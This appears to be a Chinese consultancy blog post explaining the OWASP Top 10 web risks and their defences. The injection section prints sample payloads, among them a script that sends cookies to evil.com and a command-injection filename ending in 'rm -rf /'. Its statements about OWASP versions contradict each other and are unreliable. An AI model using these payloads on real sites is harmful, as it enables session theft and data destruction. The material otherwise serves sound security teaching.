返回首頁OWASP

OWASP Top 10 完整解析:2025 最新版十大網站安全風險【2026 更新】

20 min 分鐘閱讀
#OWASP#Top 10#網站安全#漏洞#Injection#XSS#SSRF#資安檢測#弱點掃描#滲透測試#供應鏈安全

OWASP Top 10 完整解析:2025/2024/2021 版本比較與中文說明

OWASP Top 10 完整解析:2025/2024/2021 版本比較與中文說明

94% 的網站至少有一個 OWASP Top 10 漏洞。

這不是危言聳聽。根據 Veracode 的報告,絕大多數的網站都有已知的安全弱點。

好消息是,這些漏洞都有明確的防護方式。只要你知道它們是什麼。

這篇文章會逐一解析 OWASP Top 10 的每個漏洞,用白話文告訴你它是什麼、怎麼被攻擊、怎麼防護。


什麼是 OWASP Top 10?

由來與重要性

OWASP Top 10 是由 OWASP 組織 發布的「十大網站安全風險清單」。

這份清單不是隨便列的。它是根據全球數百間企業提供的真實漏洞數據,統計出最常見、最危險的 10 種弱點。

為什麼重要?

  • 業界標準:被 PCI DSS、NIST 等合規標準採用
  • 風險導向:排名越前面,風險越高
  • 實用性強:每個漏洞都有具體的防護建議

如果你只能學一份資安清單,就是這份。

更新週期與決策機制

OWASP Top 10 大約每 3-4 年更新一次。

歷年版本

  • 2003 年:第一版
  • 2010 年:第二版
  • 2013 年:第三版
  • 2017 年:第四版
  • 2021 年:第五版
  • 2025 年:第六版(目前最新正式版)

2025 版重大變更

OWASP 基金會已正式發布 2025 年第八版「十大安全風險」清單,基於超過 175,000 筆 CVE 紀錄和全球資安專家回饋分析。

變更類型說明
🆕 新增A03:2025 軟體供應鏈失效(Software Supply Chain Failures)
🆕 新增A10:2025 異常條件處理不當(Mishandling of Exceptional Conditions)
⬆️ 上升安全設定錯誤從 #5 升至 #2
⬇️ 下降加密失效從 #2 降至 #4
⬇️ 下降注入攻擊從 #3 降至 #5
🔀 整合SSRF 已整合至 A01: Broken Access Control

怎麼決定排名?

OWASP 會收集來自:

  • 資安公司的掃描數據
  • 弱點賞金平台的回報
  • 企業的真實事件統計
  • 超過 175,000 筆 CVE 紀錄分析

然後根據「發生頻率」和「影響程度」來排名。

插圖:一位亞洲男性資安分析師坐在辦公室中,面前的大螢幕顯示 OWA...

場景描述: 分析師穿著商務休閒服裝,一手放在滑鼠上,專注地看著螢幕上的數據。螢幕旁邊有便利貼和一杯咖啡。背景是現代辦公室環境。

視覺重點:

  • 前景:螢幕上清晰的橫條統計圖
  • 中景:專注工作的分析師
  • 背景:辦公室環境

必須出現的元素:

  • 大螢幕顯示統計圖表
  • 橫條圖從長到短排列
  • 專業辦公環境

需要顯示的中文字:

顏色調性: 專業、數據導向、藍色系

避免元素: 抽象符號、發光效果、齒輪

Slug: analyst-reviewing-owasp-vulnerability-statistics


OWASP Top 10 2021 版本完整解析

以下逐一解析目前最新正式版本(2021)的十大漏洞。

A01:Broken Access Control(存取控制失效)

排名第一,最常見也最危險。

什麼意思?

使用者能存取他不該存取的資料或功能。

真實案例

你是一般會員,但改一下網址參數,就能看到管理員頁面。

原本:https://example.com/user/profile?id=123
改成:https://example.com/user/profile?id=1
結果:看到別人的個資

常見攻擊方式

  • 水平越權:看到同級別其他用戶的資料
  • 垂直越權:一般用戶存取管理員功能
  • IDOR(不安全的直接物件參考):直接修改 ID 存取他人資料

防護方式

  • 預設拒絕所有存取,再逐一開放
  • 每個 API 都要做權限檢查
  • 避免在 URL 暴露資源 ID
  • 實作速率限制

A02:Cryptographic Failures(加密機制失效)

敏感資料沒有好好保護。

什麼意思?

密碼用明文存、信用卡號沒加密、用了過時的加密演算法。

真實案例

2019 年 Facebook 被爆料,數億用戶的密碼以明文形式存在內部日誌中。

常見問題

問題說明
明文傳輸沒用 HTTPS
明文儲存密碼沒 Hash
弱加密用 MD5、SHA1
金鑰管理差金鑰寫死在程式碼

防護方式

  • 全站 HTTPS
  • 密碼用 bcrypt 或 Argon2 Hash
  • 敏感資料加密儲存(AES-256)
  • 金鑰用 Vault 或 KMS 管理

A03:Injection(注入攻擊)

經典中的經典。

什麼意思?

攻擊者在輸入欄位塞入惡意程式碼,讓伺服器執行。

最常見的類型

SQL Injection

-- 正常查詢
SELECT * FROM users WHERE id = '123'

-- 攻擊者輸入:123' OR '1'='1
SELECT * FROM users WHERE id = '123' OR '1'='1'
-- 結果:撈出所有用戶資料

XSS(跨站腳本攻擊)


<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>


Command Injection

# 網站讓用戶輸入檔名
filename=report.pdf

# 攻擊者輸入:report.pdf; rm -rf /
# 伺服器執行:cat report.pdf; rm -rf /

防護方式

  • 使用參數化查詢(Prepared Statement)
  • 輸入驗證和過濾
  • 輸出編碼(HTML Encoding)
  • 最小權限原則

擔心你的網站有 SQL Injection?預約免費資安評估,讓專家幫你檢測。

A04:Insecure Design(不安全設計)

2021 年新增的類別。

什麼意思?

不是程式寫錯,是設計就有問題。

真實案例

某電商的「忘記密碼」功能:

  1. 輸入 Email
  2. 系統寄驗證碼(4 位數字)
  3. 輸入驗證碼重設密碼

問題在哪?4 位數字只有 10,000 種可能,攻擊者可以暴力破解。

常見設計缺陷

  • 缺乏速率限制
  • 沒有防止自動化攻擊
  • 業務邏輯漏洞
  • 缺乏威脅建模

防護方式

  • 在設計階段做威脅建模
  • 使用安全設計模式
  • 加入防濫用機制
  • 定期做設計審查

A05:Security Misconfiguration(安全設定錯誤)

最容易避免,卻最常發生。

什麼意思?

系統設定沒改好,留下安全漏洞。

常見錯誤

錯誤風險
預設密碼沒改被輕易登入
錯誤訊息太詳細洩漏系統資訊
開了不必要的服務增加攻擊面
沒關 Debug 模式洩漏敏感資訊
沒更新安全 Patch已知漏洞被利用

真實案例

某公司的 S3 Bucket 設成公開,結果客戶資料被整包下載。

防護方式

  • 建立安全基準設定(Baseline)
  • 自動化設定檢查
  • 定期掃描和審計
  • 移除不必要的功能和帳號

插圖:一位亞洲女性 DevOps 工程師坐在雙螢幕前,左螢幕顯示終...

場景描述: 工程師戴著耳機,正專注地對照兩個螢幕。左手在鍵盤上,右手拿著筆記本。桌上有水杯和一些技術書籍。

視覺重點:

  • 前景:雙螢幕清晰可見
  • 中景:專注工作的工程師
  • 背景:科技公司辦公環境

必須出現的元素:

  • 終端機畫面(黑底綠字/白字)
  • 安全掃描報告
  • 問題清單

需要顯示的中文字:

顏色調性: 科技感、專業、深色調

避免元素: 抽象符號、齒輪、發光效果

Slug: devops-engineer-checking-security-configuration

A06:Vulnerable and Outdated Components(使用有漏洞的元件)

你不是故意的,但用了有洞的東西。

什麼意思?

使用的函式庫、框架或套件有已知漏洞。

真實案例

2021 年 Log4j 漏洞(Log4Shell),影響了全球數百萬個 Java 應用程式。

問題在哪?

現代軟體大量依賴第三方套件。你的專案可能直接依賴 50 個套件,但這 50 個套件又各自依賴更多套件。任何一個有漏洞,你就有風險。

防護方式

  • 維護軟體清單(SBOM)
  • 定期掃描套件漏洞(OWASP Dependency-Check)
  • 及時更新有漏洞的套件
  • 移除不再使用的套件

A07:Identification and Authentication Failures(身份驗證失效)

登入機制有漏洞。

什麼意思?

攻擊者能繞過登入,或輕易取得他人帳號。

常見問題

  • 允許弱密碼(123456)
  • 沒有防止暴力破解
  • Session 管理不當
  • 沒有多因素驗證

攻擊方式

攻擊說明
暴力破解用程式嘗試所有密碼組合
憑證填充用外洩的帳密嘗試登入
Session 劫持偷取登入後的 Session

防護方式

  • 強制密碼複雜度
  • 實作登入失敗鎖定
  • 使用多因素驗證(MFA)
  • 安全的 Session 管理

A08:Software and Data Integrity Failures(軟體與資料完整性失效)

2021 年新增的類別。

什麼意思?

沒有驗證軟體或資料的完整性,可能被植入惡意程式。

常見問題

  • CI/CD Pipeline 沒有完整性檢查
  • 自動更新沒有驗證簽章
  • 反序列化漏洞

真實案例

SolarWinds 供應鏈攻擊。攻擊者入侵 SolarWinds 的建置環境,在軟體更新中植入後門,影響了包括美國政府機關在內的數千個組織。

防護方式

  • 驗證軟體簽章
  • 保護 CI/CD Pipeline
  • 使用安全的反序列化方式

A09:Security Logging and Monitoring Failures(安全日誌與監控失效)

被打了都不知道。

什麼意思?

沒有足夠的日誌和監控,無法發現或調查攻擊。

問題在哪?

根據統計,企業平均需要 197 天 才能發現資料外洩。很多時候是被外部通知才知道。

常見問題

  • 沒有記錄登入失敗
  • 日誌沒有集中管理
  • 沒有告警機制
  • 日誌保留時間太短

防護方式

  • 記錄所有安全相關事件
  • 集中化日誌管理(SIEM)
  • 設定告警規則
  • 定期審查日誌

A10:Server-Side Request Forgery(SSRF,伺服器端請求偽造)

2021 年新增的類別。

什麼意思?

誘騙伺服器發送請求到攻擊者指定的位置。

攻擊原理

正常:使用者請求 → 網站伺服器 → 外部資源
攻擊:使用者請求(惡意 URL)→ 網站伺服器 → 內部系統

真實案例

Capital One 資料外洩事件。攻擊者利用 SSRF 漏洞,讓 AWS 的伺服器請求內部的 Metadata Service,取得 IAM 憑證,進而存取 S3 中的客戶資料。

防護方式

  • 驗證和過濾使用者輸入的 URL
  • 使用白名單限制可請求的目標
  • 阻擋對內部網段的請求
  • 關閉不必要的出站連線

歷年版本比較

2017 vs 2021 主要變化

2017 版本2021 版本變化
A1: InjectionA03: Injection下降 2 名
A2: Broken AuthenticationA07: Auth Failures下降 5 名
A3: Sensitive Data ExposureA02: Cryptographic Failures上升 1 名,改名
A4: XXE併入 A05合併
A5: Broken Access ControlA01: Broken Access Control上升到第 1 名
A6: Security MisconfigurationA05: Security Misconfiguration上升 1 名
A7: XSS併入 A03 Injection合併
A8: Insecure Deserialization併入 A08合併
A9: Using Vulnerable ComponentsA06: Vulnerable Components上升 3 名
A10: Insufficient LoggingA09: Logging Failures上升 1 名
-A04: Insecure Design新增
-A08: Data Integrity Failures新增
-A10: SSRF新增

為什麼 Access Control 變第一名?

三個原因:

  1. 雲端服務普及:更多 API、更多存取點、更容易出錯
  2. 微服務架構:服務之間的權限管理更複雜
  3. 攻擊工具成熟:自動化工具讓越權攻擊更容易

2025 年預期趨勢

雖然 OWASP 還沒發布新版本,但社群討論可能的變化:

  • AI/ML 安全:LLM 相關漏洞可能被納入
  • 供應鏈安全:SolarWinds 事件後更受重視
  • API 安全:可能有更多著墨

插圖:會議室白板上展示 OWASP Top 10 版本演進對照表。...

場景描述: 白板上的表格清晰可見,用紅色標示下降的項目,綠色標示上升的項目,藍色標示新增的項目。講者穿著商務休閒,用手指向「Broken Access Control」的上升箭頭。

視覺重點:

  • 前景:白板上的對照表
  • 中景:講解的講者
  • 背景:會議室環境

必須出現的元素:

  • 版本對照表
  • 升降箭頭

需要顯示的中文字:

顏色調性: 清晰、對比、資訊導向

避免元素: 抽象圖形、齒輪、發光效果

Slug: presenter-explaining-owasp-version-comparison


如何使用 OWASP Top 10

知道漏洞是什麼只是第一步。重點是怎麼用這份清單。

開發團隊自檢清單

每次上線前,對照 Top 10 做檢查:

A01 存取控制

  • 每個功能都有權限檢查?
  • 無法透過修改參數存取他人資料?

A02 加密

  • 敏感資料有加密儲存?
  • 全站使用 HTTPS?

A03 注入

  • 使用參數化查詢?
  • 有做輸入驗證?

A04 設計

  • 有做威脅建模?
  • 防濫用機制到位?

A05 設定

  • 移除預設帳密?
  • 關閉 Debug 模式?

以此類推,把 10 項都檢查一遍。

程式碼審查重點

Code Review 時,特別注意:

程式碼特徵可能的漏洞
字串拼接 SQLA03 Injection
直接輸出使用者輸入A03 XSS
沒有權限檢查的 APIA01 Access Control
硬編碼的密碼或金鑰A02 Cryptographic Failures
eval() 或 exec()A03 Injection

滲透測試覆蓋範圍

做滲透測試時,確保覆蓋 Top 10 所有項目:

□ A01: 測試越權存取
□ A02: 測試加密強度
□ A03: 測試各種注入
□ A04: 測試業務邏輯漏洞
□ A05: 測試設定錯誤
□ A06: 掃描套件漏洞
□ A07: 測試登入機制
□ A08: 測試資料完整性
□ A09: 檢查日誌覆蓋
□ A10: 測試 SSRF

想用專業工具自己掃描?看 OWASP ZAP 完整教學

想動手練習這些攻擊?試試 OWASP Juice Shop 實戰教學

想用 OWASP Top 10 做內部稽核?預約資安評估,我們提供專業評估服務。


常見問題 FAQ

Q1:OWASP Top 10 多久更新一次?

大約每 3-4 年更新一次。目前最新的正式版本是 2021 年發布的。下一版預計在 2024-2025 年間發布。不過 OWASP 也有其他專門清單會更頻繁更新,例如 API Top 10(2023)、LLM Top 10(2025)。

Q2:OWASP Top 10 2021 和 2017 的最大差異?

三個主要變化:(1)Broken Access Control 從第 5 升到第 1,反映這類問題越來越嚴重;(2)新增了三個類別:Insecure Design、Software and Data Integrity Failures、SSRF;(3)XSS 被合併到 Injection 類別中。整體來說,新版本更關注設計層面的安全問題。

Q3:中小企業需要遵守 OWASP Top 10 嗎?

不是「遵守」,而是「參考」。OWASP Top 10 不是法規,沒有強制性。但如果你的網站處理客戶資料、金流或敏感資訊,遵循 Top 10 是保護自己和客戶的最佳實務。中小企業更應該重視,因為資安事件可能直接導致公司倒閉。


結語:從知道到做到

OWASP Top 10 是每個開發者和資安人員的必修課。

但光是知道這 10 種漏洞還不夠。你需要:

  1. 理解原理:知道為什麼會有這個漏洞
  2. 動手練習:實際嘗試攻擊和防禦
  3. 融入流程:把檢查機制納入開發流程

建議的下一步

或者,讓專家直接幫你檢查。

預約免費資安評估,用 OWASP Top 10 標準檢視你的網站安全。


參考資源

需要專業的雲端建議?

無論您正在評估雲平台、優化現有架構,或尋找節費方案,我們都能提供協助

預約免費諮詢

相關文章